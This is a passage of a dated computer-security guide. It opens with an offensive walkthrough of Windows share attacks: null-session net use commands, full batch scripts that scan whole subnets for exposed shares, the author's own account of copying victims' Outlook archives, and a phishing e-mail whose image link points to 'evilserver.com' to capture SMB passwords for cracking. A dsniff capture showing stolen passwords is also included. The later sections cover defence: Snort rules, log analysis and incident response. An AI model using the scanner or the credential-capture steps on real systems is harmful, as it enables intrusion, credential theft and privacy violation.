Overview of Computer Security Part II
Overview of Computer Security Part II
Windows shares are probably one of the easiest ways to get unauthorized access to a remote computer. Most people enable shares for convenience, but Windows NT will, by default, share its primary hard drives for administrative purposes. Most shares can be controlled fairly well by users. The NT shares, however, cannot be shut down or changed, even by the Administrator. Windows shares operate on ports 137 and 139. The protocol uses a challenge response that reveals its most basic vulnerability.
When one computer wants to access are share on another computer it sends a request for a share. This request is acknowledged and authenticated by the share server based on its rules for access (either to the share or to the server itself). Thus if a user requests a share from an NT server, and that user is an authenticated user on the NT server they are granted access. If the user requests a share from a simple Windows 98 share server then the server authenticates based on any password protection set on the share. The problem with this scenario is that when I request a share from a server, by default I request the share as myself. This means that the client sends a request similar to: "user jkeane in workgroup svnet with password xxxxx requests the share WHATEVER from your server." You quickly see that sending a password is bad news. Now, the password is encrypted, but it is encrypted using know methods. The failure in the architecture is to send a workgroup, username, and password regardless of whether or not they are required. This means that if I have my server set up to grab incoming passwords, I can crack them.
"How can I exploit these services?" you might ask. Well, the simplest way is to use NETBIOS null sessions to explore shares. You can establish a null session fairly easily assuming the server doesn't request passwords for the null session. NT is pretty rigorous about requesting passwords if its shares are protected, but Windows 98 seems pretty vulnerable, in my experience. To establish a null session all you have to do is type in:
C:>net use //123.123.123.123/ipc$
Where 123.123.123.123 is the actual IP address of the target. There are only two possible responses to this query. The command will succeed and issue a "the command completed successfully" statement, or it will throw an error and fail. If the command succeeds you'll need to go on and explore what shares are available. To do this simply execute the following:
C:>net view //123.123.123.123
The target will respond with a list of possible shares. The following is a result I received from a sample target:
Shared resources at \\123.123.123.123Share name Type Used as Comment
-------------------------------------------------------------------------------
Downloads Disk
Pub Disk
The command completed successfully.
The most common share available online is usually a printer share, which is fairly difficult to leverage. However, if you scan two or three subnets you're bound to run across some poor idiot who has shared his entire C: drive. Once you've identified a share the simplest way to leverage access is to map one of the remote shares to a local drive. In order to say map the remote share 'Pub' as a local X: drive execute the following:
C:>net use x: \\123.123.123.123\Pub
If the resource is in fact password protected beyond basic user authentication (or lack thereof) you will be prompted to enter the password. Usually if a C: drive is shared over the internet though, the user is so clueless that further password protection is unlikely. Once the drive is mapped simply use the Windows GUI through 'My Computer' to upload, download, explore and execute the contents of the remote drive.
Scanning for shares, however is tedious and time consuming. Since all the scan consists of is a repetitive issuance of DOS commands (or executables available from a DOS prompt) the simplest way to speed up your search is to create a batch file. Batch files are Windows shell scripts, a file that consists of DOS commands that are issued in sequence when the batch file is called. The best known batch file is autoexec.bat. Batch files are creatable and readable from notepad. To create a batch file simply open notepad, write up the commands and save the file as 'somebat.bat'. You should be sure to enclose the title in quotation marks when saving it so that Notepad will save the file as a .bat rather than its default of .txt.
The problem with writing a batch file to scan a subnet is that batch files are of VERY limited utility. You cannot set a variable and then increment it using an arithmetic function. It is simply impossible to set a variable equal to a number then reset the variable to its original number plus one. The only way, say to increment 'x' from one to two is to set x equal to one, then explicitly set x equal to two. To use a batch file that will increment you have to call another batch file that simply allows for incrementing (checking a variable then resetting it to one higher). The following is the text of add.bat, showing how this can be accomplished across a subnet (255 numbers).
:: ADD.BAT
:: Increments a three digit number
:: Works by comparing each digit
:: H=hundreds, T=tens, D=digits
@echo off
if [%H%]==[] set H=0
if [%T%]==[] set T=0
if [%D%]==[] set D=0
:DIGITS
if %D%==9 goto TENS
if %D%==8 set D=9
if %D%==7 set D=8
if %D%==6 set D=7
if %D%==5 set D=6
if %D%==4 set D=5
if %D%==3 set D=4
if %D%==2 set D=3
if %D%==1 set D=2
if %D%==0 set D=1
goto DONE
:TENS
set D=0
if %T%==9 goto HUNDREDS
if %T%==8 set T=9
if %T%==7 set T=8
if %T%==6 set T=7
if %T%==5 set T=6
if %T%==4 set T=5
if %T%==3 set T=4
if %T%==2 set T=3
if %T%==1 set T=2
if %T%==0 set T=1
goto DONE
:HUNDREDS
set T=0
if %H%==9 set H=0
if %H%==8 set H=9
if %H%==7 set H=8
if %H%==6 set H=7
if %H%==5 set H=6
if %H%==4 set H=5
if %H%==3 set H=4
if %H%==2 set H=3
if %H%==1 set H=2
if %H%==0 set H=1
goto DONE
:DONE
As you can see this is rather clunky and inefficient. However, combined with the next batch file, you can create a simple, yet effective scanner. The batch file below scans across a subnet, first pinging hosts with one packet of data to see if they are alive, then attempting to establish a null session, logging the vulnerable system, enumerating and logging the shares, and finally requesting and logging nbtstat information from the target. All information is logged in vulnerable.txt in the same directory as the batch file. Note that the add.bat file must be in the same directory so that calls to it are completed successfully. Copy this file and save it as madirish.bat then execute it from the command line by issuing:
C:>madirish. 123.123.123
Where 123.123.123 is the subnet you with to scan. I have noticed that the scanner hangs at certain points and must be restarted. To avoid the pain of rescanning the entire subnet, capability has been built in to accept arguments to establish where along the subnet to start. To issue these arguments simply type
C:>madirish 123.123.123 A B C
Where ABC is the starting IP. Make sure to leave spaces between A, B, and C since they are separate arguments to the batch file. The code for madirish.bat follows:
@echo OFF
set SUBNET=%1%
set H=%2
set T=%3
set D=%4
echo Scanning subnet %SUBNET% >> vulnerable.txt
:START
call add.bat
REM lets start testing
ping -n 1 %SUBNET%.%H%%T%%D% | find "out" > nul
if errorlevel 1 goto CONTINUE
goto DEADIP
:CONTINUE
net use \\%SUBNET%.%H%%T%%D%\ipc$ | find "completed" > nul
if errorlevel 1 goto notfound
echo %SUBNET%.%H%%T%%D% >> vulnerable.txt
echo Got One! %SUBNET%.%H%%T%%D% is vulnerable!
net view \\%SUBNET%.%H%%T%%D% >> vulnerable.txt
nbtstat -A %SUBNET%.%H%%T%%D% >> vulnerable.txt
goto endfind
:notfound
echo %SUBNET%.%H%%T%%D% doesn't seem to be vulnerable
:endfind
if %H%%T%%D%==254 goto DONE
goto START
:DEADIP
echo %SUBNET%.%H%%T%%D% doesn't seem to be alive
goto START
:DONE
@echo ON
If you invoke multiple DOS command prompts at once you can execute this batch file two or three times (one in each prompt) and speed up your subnet scans. If you get a vulnerable host, the batch will have already established a null session, so all you have to do is scan the text log file and establish connections to remote shares.
Madirish.bat in action:
And vulnerable.txt example:
Using this scanner sporadically over one weekend I was able to connect to a total of 4 remote machines (scanning approximately 9 subnets). Such was the level of insecurity that you could pull Outlook archive file (backup.pst) from C:\Windows\Local Settings\Application Data\Microsoft\Outlook\archive.pst from every vulnerable machine. Once you've copied this file you can import it into your Outlook and peruse the victim's e-mail. You can gain other valuable information by copying other identity data (such as contact list or even the contents of the My Documents folder). Trojaning a target becomes trivial once you have access of this level.
Another method for gaining access, especially if the target has password protected shares, is to trick the target into requesting a share from a server you control. This will cause the target to send a request, including their username and encrypted password. The password can be cracked fairly trivially with L0phtCrack, which even includes a SMB packet sniffer to capture the request. Tricking a machine into requesting a share is as simple as getting the target to view a linked file (either in an HTML e-mail or web page). To code a share simply substitute the absolute or relative link with the following:
File:\\evilserver.com\evilshare\fake.jpg
You can use this formula most easily as an image source (<img src="file:\\....). Once captured, the password can be easily cracked. All you need is a suitable NT server to host the share and run L0phtCrack (an NT based password cracking tool available from: www.atstake.com) on.
So, to enumerate this process in full, I'll assume I've selected a target machine. The first step is to set up my NT password grabber. I download L0phtCrack and install it on the machine, making sure to start the SMB packet capture option. Next, on the desktop I create a folder called 'evilshare' and share it with permissions to allow 'Everyone' access. Then I create a small picture or one pixel by one pixel image (or web bug if you prefer) and store it in the evilshare directory. Next I switch over to Outlook and compose a message. I write up a fake spam e-mail say with the title 'sexy pics of our models - FOR YOU!' and place the cursor inside the message. Then I go to the Outlook options and select 'insert' then 'image' which opens a dialog box asking for the image's location. Simply type in file:\\evilserver\evilshare\fake.jpg where evilserver is the domain name (or IP address) of my NT server. Then I ship off the e-mail and wait. As soon as the target views the e-mail you'll see his share information show up in the SMB capture window of L0phtCrack. Save this information, import it into L0phtCrack's password cracking window and run the crack on it. Chances are if you have a good dictionary you'll get the password pretty quickly. You can find the target fairly easily since in order to grab the image they will have had to establish a share session with you. Type 'netstat' into a DOS prompt and you should see the victim. Viewing his shares or establishing a null connection should be easy at that point since you've got the correct username and password.
How can you protect yourself? Don't ever enable sharing, or if you do make sure you provide strong password protection of your shares. Alternatively you can set up a firewall that blocks all remote SMB requests. This is probably the most effective solution since it allows members of your LAN to share files with minimal risk.
Remember: NEVER EVER SHARE YOUR ENTIRE HARD DRIVE.
This is just stupid and I can't think of any justifiable reason to do it. Once your shares are no longer necessary be sure to disable them. Windows 98/Me is a fairly benign operating system since it doesn't function as a network operating system, but opening shares makes all that worthless.
--End Snip—
Software Installation:
As described above, all software installed on LAN machines should be inspected for default installation vulnerabilities. This should include hardening of any installation, for instance: raising the default security settings of Microsoft Outlook or disabling macros in Microsoft Word.
In addition any new software installed on LAN machines should be thoroughly investigated, inspected, and AUTHORIZED by system administrators. Users should not be allowed to install any software without prior approval from network administrators. User installed software could create holes and vulnerabilities in the LAN that system administrators need to be aware of. In addition, it is common for users to download and install software from the internet that could contain a Trojan, virus, or backdoor that could wreak havoc in a LAN. Sometimes warning users as to the dangers and consequences of downloaded software is enough to discourage users from this behavior. It may become necessary, however, to prevent user downloads by restricting FTP access to systems outside your LAN using firewall rules. It cannot be stressed enough how dangerous unauthorized downloads are to the integrity of system security. Make sure that all users are aware of official policy in addition to any restrictions placed on network traffic.
Clear Text Transmission:
Sniffing attacks are dangerous and damaging and can occur anywhere along the routes of communication to and from your LAN. Just because a local network is secured from sniffing attacks does not mean that upstream providers are secured. An attack at the ISP or even transmition destination can ruin any installed security protocols by revealing critical information to an attacker. Sniffers range from very robust (such as Snort (www.snort.org) to fairly specific (mailsnarf from the dsniff package (http://www.monkey.org/~dugsong/dsniff/).
Because of the nature of TCP/IP any information sent across a network is usually broadcast until it finds an acceptable router and then information is passed upstream. The path information takes to a target is usually diverse and can be demonstrated by a simple tracert. For instance, tracert reveals that to get from 216.25.200.135 to Yahoo.com packets must take more than a dozen hops:
C:\>tracert yahoo.com
Tracing route to yahoo.com [216.115.108.245]
over a maximum of 30 hops:
1 <10 ms <10 ms <10 ms ip-216-25-200-129.covad.dsl.fcc.net [216.25.200.129]
2 10 ms 20 ms 10 ms ip-216-25-192-1.covad.dsl.fcc.net [216.25.192.1]
3 <10 ms <10 ms 10 ms 209.249.187.229.fcc.net [209.249.187.229]
4 <10 ms 10 ms 10 ms main1-main2-ge.iad1.above.net [209.249.187.226]
5 10 ms 10 ms <10 ms core4-main1-oc48.iad1.above.net [208.185.0.153]
6 <10 ms 10 ms 10 ms core1-iad1-oc48.iad2.above.net [209.249.0.214]
7 <10 ms 10 ms 10 ms level3-above-oc12.iad2.above.net [209.249.0.174]
8 10 ms <10 ms 10 ms so-4-1-0.mp2.Washington1.Level3.net [209.247.10.77]
9 80 ms 80 ms 80 ms so-0-0-0.mp1.SanJose1.Level3.net [209.244.19.33]
10 80 ms 80 ms 100 ms gigabitethernet6-2.ipcolo1.SanJose1.Level3.net [64.159.2.131]
11 90 ms 100 ms 80 ms cust-int.level3.net [63.209.15.226]
12 81 ms 80 ms 80 ms ge-1-3-0.msr2.pao.yahoo.com [216.115.100.146]
13 80 ms 80 ms 91 ms vlan28.bas1-m.snv.yahoo.com [216.115.100.122]
14 80 ms 80 ms 90 ms img5.yahoo.com [216.115.108.245]
Trace complete.
Any of the machines along the trace route, or any of the machines in the networks of gateways listed above could be used to sniff traffic.
While many sniffers, such as snort dump raw TCP/IP data to the screen or a file:
Some are more specific and will only capture username and password data:
C:\sectools>dsniff
-----------------
09/24/01 12:06:18 ip-216-25-200-150.covad.dsl.fcc.net -> mail.softecsys.net (pop
)
USER joeuser
PASS mypassword
-----------------
09/24/01 12:06:35 ip-216-25-200-154.covad.dsl.fcc.net -> 216.201.170.251 (pop)
USER morpeus@nowhere.com
PASS apple12
-----------------
09/24/01 12:06:50 SPHYNX -> saint-vitus.com (ftp)
USER solutions
PASS some?time
-----------------
09/24/01 12:07:23 ip-216-25-200-143-> popserv.mrf.mail.rcn.net (pop)
USER julie21
PASS sof?garm2
Any information sent in clear text (FTP, Telnet, HTTP, even e-mail) is vulnerable to sniffing attacks. Whenever possible encrypted channels should replace unencrypted channels. The following is a list of alternative protocols that offer encryption:
Protocol Alternative
Telnet SSH (secure shell)
rlogin SSH
FTP SSH or SSL wrapped FTP
POP POP3s
HTTP SSL
PGP will ensure that e-mail passing over insecure channels, even if captured, remains encrypted and useless to an attacker. Example of a PGP encrypted e-mail before and after decryption:
Encrypting traffic is becoming easier with advances in encryption technology. For instance, wrapping your POP3 with SSL is fairly easy for a knowledgeable administrator. SSH should replace most telnet and rlogin tools and is even available for file transfer. SSL should be used for any site requesting usernames, passwords, or personal data.
SSH remote login program available for Windows from www.ssh.com:
In addition to using encryption locally you should be sure that remote sites and services use encrypted transfer or you could be revealing critical information to other sites across the network.
Intrusion Detection Methods:
Intrusion detection is a complex and evolving field. Intrusion detection is based primarily on evaluating information from your systems to determine if anything is amiss. There are two main forms of intrusion detection, active and passive intrusion detection. Both have their merits. Active intrusion detection involves scanning information and traffic as it enters your network, usually by using a sniffer to analyze TCP/IP traffic entering your systems. Passive intrusion detection involves monitoring your log files and other measures to detect when a system has potentially been compromised. Both systems are prone to false positives (alerts to attacks that may or may not actually be attacks, or even malicious.
Passive intrusion detection is often maligned because once passive intrusion detection alerts sound, a system is potentially compromised. While true, this data can still be invaluable. The added advantage of a passive intrusion detection system is that it will not slow down network performance. While active intrusion detection must filter each and every packet crossing the network, passive intrusion detection monitors files on a target computer for specific changes or entries. Passive intrusion detection is useful for scrambling to the defense of a compromised server, but it must be said that once a machine is compromised it will be an uphill battle to regain control of the machine and assure data integrity.
Active intrusion detection involves monitoring traffic into your network. Snort (www.snort.org) is the de facto industry standard IDS (Intrusion Detection System). Snort is power, cross platform, and free. Although it takes a bit more expertise to customize snort as an effective IDS, its uses as a monitor and network diagnostic tool are numerous. Several commercial IDS systems are available, but none are open source. The tools are often easier to use than snort (often including a GUI) and offer corporate assurances as to the ease of use and robustness of their tool. IDS tools vary in price and capability and any IDS should be thoroughly evaluated before deployment.
Snort has the advantage in IDS systems of being open source and supported by a wide community of users (from Max Vision of www.whitehats.com to the HoneyNet Project – www.honeynet.org). Snort does require a fairly complete knowledge of the TCP/IP protocol in order to facilitate proper use, however. First we will cover set up and configuration of snort and then a bit about snorts uses and formatting.
Snort is available for both Windows NT and Unix based systems. All systems require an installation of supporting software in order to facilitate promiscuous mode Ethernet sniffing and raw data dump from such monitoring. Windows NT simply needs the winpcap.exe utility which needs to be downloaded and installed by double clicking the download icon. Windows users will then have to download the appropriate .exe files (snort-win32) from www.snort.org/downloads.html. Once downloaded and unzipped simply change directory to the appropriate folder and issue:
C:\>snort –v
If data begins to dump to the screen then snort is properly installed. If not check your Ethernet card to make sure it is functioning properly and check your installed programs in the Control Panel to be assured that winpcap installed properly.
The easiest way to install snort on a Linux sytem is to download the proper rpm’s and install them using the RedHat Package Manager. Alternatively you can download the source .tar.gz files and unzip and install them
1.) *** Make sure you have libpcap installed!!! ***
2.) ./configure
3.) make
4.) make install
5.) Create a sample rules file (if you want to use rules, check out the
included snort.conf file)
6.) snort -?
Once installed you must decide if you want snort to run in daemon mode, or to be started manually. Starting snort is as simple as running ‘snort –v’ but to run snort raw is to miss most of its potential capabilities. Snort enables users to write “rules files” that help to sort and store interesting packets and signatures for analysis. Many custom rules files can be downloaded from Snort’s official web site, but in case you want to write your own rule sets we’ll go over them. The following is an example of a simple snort rule set:
log tcp 198.26.132.99 any -> 216.25.200.133 any
log tcp 198.26.132.99 any -> 216.25.200.134 any
pass tcp any any -> 216.25.200.134 80
pass tcp any any -> 216.25.200.133 80
pass tcp any any -> 216.25.200.133 443
log tcp any any -> 216.25.200.134 any
log udp any any -> 216.25.200.134 any
log tcp any any -> 216.25.200.133 any
log udp any any -> 216.25.200.133 any
This simple rule set logs any connection attempts to the machines at 216.25.200.133 and 216.25.200.134 except HTTP traffic and SSL traffic. Let us examine this ruleset a little closer. Snort rulesets are written as a series of lines separated by line breaks. The rules will execute from top to bottom as packets are picked up by snort. A typical line consists of the following:
log tcp any any -> 216.25.200.134 any
| | | | | |----destination port
| | | | |------------------destination IP addresss
| | | |----------------------------------source port
| | |---------------------------------------source IP address
| |--------------------------------------------protocol
|-------------------------------------------------action
The action is the first part of a snort rule. Actions can be set to ‘alert,’ ‘log,’ and ‘pass.’ Alert sets snort to alert a systems administrator in various ways (pop up or e-mail) when the rule is met. Pass tells snort to ignore any traffic meeting the rule, and log writes the packet to a file if it meets the rule criteria.
The protocol is used to specify the transmission protocol used by packets as they are examined by the rule. TCP and UPD are the two most common protocols in TCP/IP and you will notice they make up the bulk of your network traffic. “any” is also an acceptable entry in this portion of the rule.. TCP traffic is usually what we will be interested in since that is the protocol used by services such as telnet, ftp, smtp, etc.
The source IP address is the address of the machine initiating the packet. Acceptable entries are proper IP addresses or “any.” The first machine to initiate a packet during a transmission session will be the client machine connecting to a port on the host machine. The host will then respond out of the same port to the client. The originating machine may not always be the host and vice versa so it is important to write rules to catch both your inbound and outbound traffic. Rules where your machine is the source IP will catch transmissions made by your machine whereas rules to log transmission to your machine as the destination IP will catch traffic coming to your machine.
The next number is the port on the source machine. This can be either a port number or the word “any.” Since machines generate random ports to spawn services to remote hosts, unless you are looking for a specific service on the source machine leave this as an “any” entry. However, if you want to track, for instance, all FTP sessions that are occurring on your machine, change this number to 21.
The ASCII arrow indicates the direction of the transmission from the source to the destination.
The destination IP address (which can also be “any”) is listed next, followed by the destination port number. Rules exactly as the source IP address and port number govern these entries. “any” is an acceptable answer for either of these entries.
Let us go about crafting an example rule set to monitor traffic to and from a factitious machine’s (10.10.0.1) ftp server. We first want to log any traffic to or from the target machine’s ftp port:
Log tcp 10.10.0.1 21 -> any any
Log tcp any -> 10.10.0.1 21
The first rule logs any traffic from our server on port 21 (FTP) that is being transmitted to any machine. The second rule logs any traffic that is coming from anywhere to our local machine. We should then write rules to ignore all other traffic to keep our snort logs thin.
Pass udp any any -> any any
Pass tcp any any -> any any
Although a rule to pass any TCP traffic has been written, it is included after the “log” rule so that the logs will occur before the traffic is analyzed by the “pass” rule.
Once a rule is written you can call the rule on execution of snort so that it reads your new ruleset into the snort configuration. To do this save the ruleset in the snort directory as cusomrule.txt and issue the following command:
snort -vdCc customrule.txt
You will notice the several flags listed. The ‘v’ is for verbose output, the ‘d’ for dumping the application layer, the ‘C’ for printing only the character payload of the packets (hex data isn’t very useful at this point), and the ‘c’ specifies that a ruleset file should be used and that the ruleset filename will proceed the ‘c’.
This ruleset will produce log files in the following format:
08/12-13:08:55.079592 131.211.200.153:2530 -> 10.10.0.1:21
TCP TTL:111 TOS:0x0 ID:643 IpLen:20 DgmLen:44 DF
******S* Seq: 0x590AB424 Ack: 0x0 Win: 0x2000 TcpLen: 24
TCP Options (1) => MSS: 1460
=+=+=+=+
This particular dump shows a TCP syn connection attempt to our machine’s FTP port from 131.211.200.153. The Syn flag is specified by the ******S* portion of the dump. This is indicative of a connection attempt. The datetime stamp at the beginning of the dump shows when the attempt was performed. Full analysis of snort dumps require fairly detailed knowledge of TCP/IP traffic. For more information consult www.snort.org.
Intrusion Detection – Log File Storage and Analysis
Log files are often your best evidence of unsavory behavior. The problem with log files is that they are not immune to change or exploitation by an attacker on a compromised server. It is best to store your log files in one of two methods, on removable media or on a remote server. If your logs are in any way accessible to a local attacker then they will be able to alter the best evidence of a compromise that you have. There are several methods of remote log file storage, syslogd on *nix, and using a remote computer to store log files through Network Neighborhood on an NT machine. This will ensure that your log files are stored in a safe location and aren’t necessarily accessible to a remote hacker. You should store copies of log files both remotely and locally so you can compare the two to find if any of the log files have been changed.
Log file analysis itself is often tedious. Although there are programs like Swatch that can be used to monitor your log files, someone will usually have to hand sift through log files to find evidence of wrongdoing. Log files should be examined regularly, and backed up to removable media regularly as well. It is up to sysadmin discretion how long you should retain old log files, but one can never tell when an old log file will come in handy.
During log file analysis it is important to offer special attention to the logs that are most likely to produce evidence of security breeches. The ‘Security’ log under the Event Viewer on Windows NT systems and the security and error log on a *nix system. These logs should be reviewed regularly and scanned for evidence of compromise attempts or of any unauthorized or unusual behavior (administrator login at a time when the admin is know to have been away, etc.). On larger networks this is more tedious and admins are encouraged to somehow automate their log file analysis.
Intrusion Detection – Determining When and Intrusion has Taken Place
It is tricky to determine if an intrusion has taken place if an intruder somehow evades your IDS and log file scans. Administrators must always be on the lookout for unusual activity on their systems. Unexplained lost email, dramatic decrease in hard drive storage space, the presence of an unusual user, and unknown processes running can all be signs of a successful intrusion.
It must be said that this method for intrusion detection relies on an astute administrator in close contact with a machine. It is advisable to regularly check the processes running on your servers (with the Task manager on Windows, or with the ‘ps’ and ‘top’ command on a *nix machine). Unusual processes should be noted and investigated immediately. Administrators should also keep an eye on who is logged into the servers and when. This may provide clues as to the use of a stolen or compromised account and may stop an intruder before they achieve root or administrator status on a system. Administrators should also check disk usage with the ‘df’ command on *nix or by checking drives through the Windows GUI on NT systems regularly to look for changes in available hard drive space. If disk space disappears mysteriously and cannot be accounted for it may be evidence of new programs or files being loaded on to your computer. All activity should be suspect unless investigation reveals that it is legitimate. Never dismiss running processes as system processes unless you are sure. Do not ignore entries into the task manager that you do not recognize. If log files or alert logs fill up unexpectedly, do not simply rotate the logs, make sure to inspect them to find the cause of the saturation. Regularly check over your lists of users and groups on your machines and keep an eye out for unusual users or groups that should not exist. Check user and group permissions and make sure they have not changed. Most importantly, keep an eye out for suspicious files in folders they should not be placed in. Finding a link to command.exe in your scripts directory, even if it is renamed, is a sure fire clue that you have been subject to the Unicode scripts directory traversal attack. Also keep an eye on your traffic. If your computer seems to be receiving or transmitting an unusual amount of data be sure to investigate the causes behind the traffic. Also watch your system resources, if they are being consumed at an unusually high level it could be evidence of unauthorized activity on your system, from local password cracking attempts to virus transmission.
Damage Assessment
Assuming you locate unauthorized users or activity on your system you must immediately determine what actions you wish to take. You must ask yourself what services and information are on the compromised machine? Is it possible to unplug the machine from the network? You need to determine if your data has been damaged or lost. All of these considerations will lead you to a decision on how to handle the incident. Sometimes an intrusion can be dealt with simply by deleting offensive files and tools and installing a patch. Other times the entire system must be wiped out and restored from a backup. It is important to have good log files to determine the extent of an intrusion and the level of damage done to a compromised system. If you find that a compromised system has several major programs trojaned then the system must be rebuilt. If, however, you simply find the root account password compromised and a few new files you may be able to get away with simply changing the password and deleting the files. Without proper evidence of what activity has been occurring on a machine, however, you can never be confident of your decision. You should also check to see if the compromised server or machine has led to other compromises. If you find an intruder has been running a sniffer on your network you may need to change user passwords across the system and inform users that other personal information my have been compromised.
The type of machine that has been compromised, the extent of the compromise, and the cause of the compromise should determine the level of response. Never respond and return a machine to operation unless you determine how a machine was exploited and implement a solution. Simply running a virus checker on the machine and deleting a few files is an insufficient response to any situation where your machines have been made vulnerable. Be sure to try and recreate the attack method, both before and after a machine is refitted for return to duty. If at all possible disconnect a compromised server from the live network and plug it into your sandbox to try and determine the extent of the damage. Be wary of alerting an intruder that they have been detected though until you can figure out the extent of the damage. If an administrator fires off an alert e-mail to all users that the system has been compromised and an attacker has managed to root the mail server and is intercepting mail, they may panic and destroy other compromised machines to cover up their traces.
If unsure as to the extent of damage, and time and resources permitting, set up your own sniffing software and try to determine attacker activities on your network. This could be invaluable in determining a safe response.
Always return your machine to functional state with backups you know to be safe. If a compromised server is restored using a backup containing Trojans you have done little to safeguard the future of your network.
Immediate, Short Term & Long Term Counter-Measures and Responses
The easiest way to eliminate an intruder is to determine their origin and then block that subnet or IP from network access. Be wary of doing this, however, because attackers may have other machines at their disposal and may be able to use a separate IP address.
It is important in understanding how respond to understand the threat you are dealing with. The best solution for network security is to implement a firewall. If, however, an intruder has managed to circumvent a firewall then the firewalling rules need to be re-examined.
Firewalls are often your best protection against external intruders. A firewall should sit on the edge of a network and permit only necessary traffic. Often allowing only essential ports like 80 and 22 will prevent many system compromises from ever taking place. If you must run some machines with several open services, consider a tiered firewalling scheme where more vulnerable machines are behind one firewall and segregated from the rest of the LAN which can be placed behind a different firewall. By creating a DMZ, or an segregated area between two firewalls with more relaxed firewalling policies, you can separate your more vulnerable web, mail, and DNS servers from client machines and internal servers.
Any long term response to an incident must center around how the incident occurred. After an attack is analyzed, steps need to be taken system-wide to assure that similar incidents can never occur again. This may be as simple as closing a vulnerable port through a retooling of the firewall. It may be as complex as investigating alternative platforms or programs to offer the offensive service. For instance, if you find your WU-FTP servers are vulnerable to a new exploit and no patch is available, you may want to switch your FTP services to a different platform, or at least a different server program (such as ProFTPd).
If time permits you may wish to do an autopsy on the compromised machine in order to determine the extent of damage and the level of compromise. In order to do this you will need to make copies of the hard drive and use any number of forensic tools to examine the copies. Never use forensic tools directly on the exploited server since you can’t trust anything on a compromised server. Making a copy also preserves the original in case of data corruption. Using checksum results and data recovery programs you should look for any file changes occurring out of normal time frames, and recently deleted and critical files (from bash histories to log files). You should also look to see if any system files have been altered, this may help you determine the level of damage done to your machine.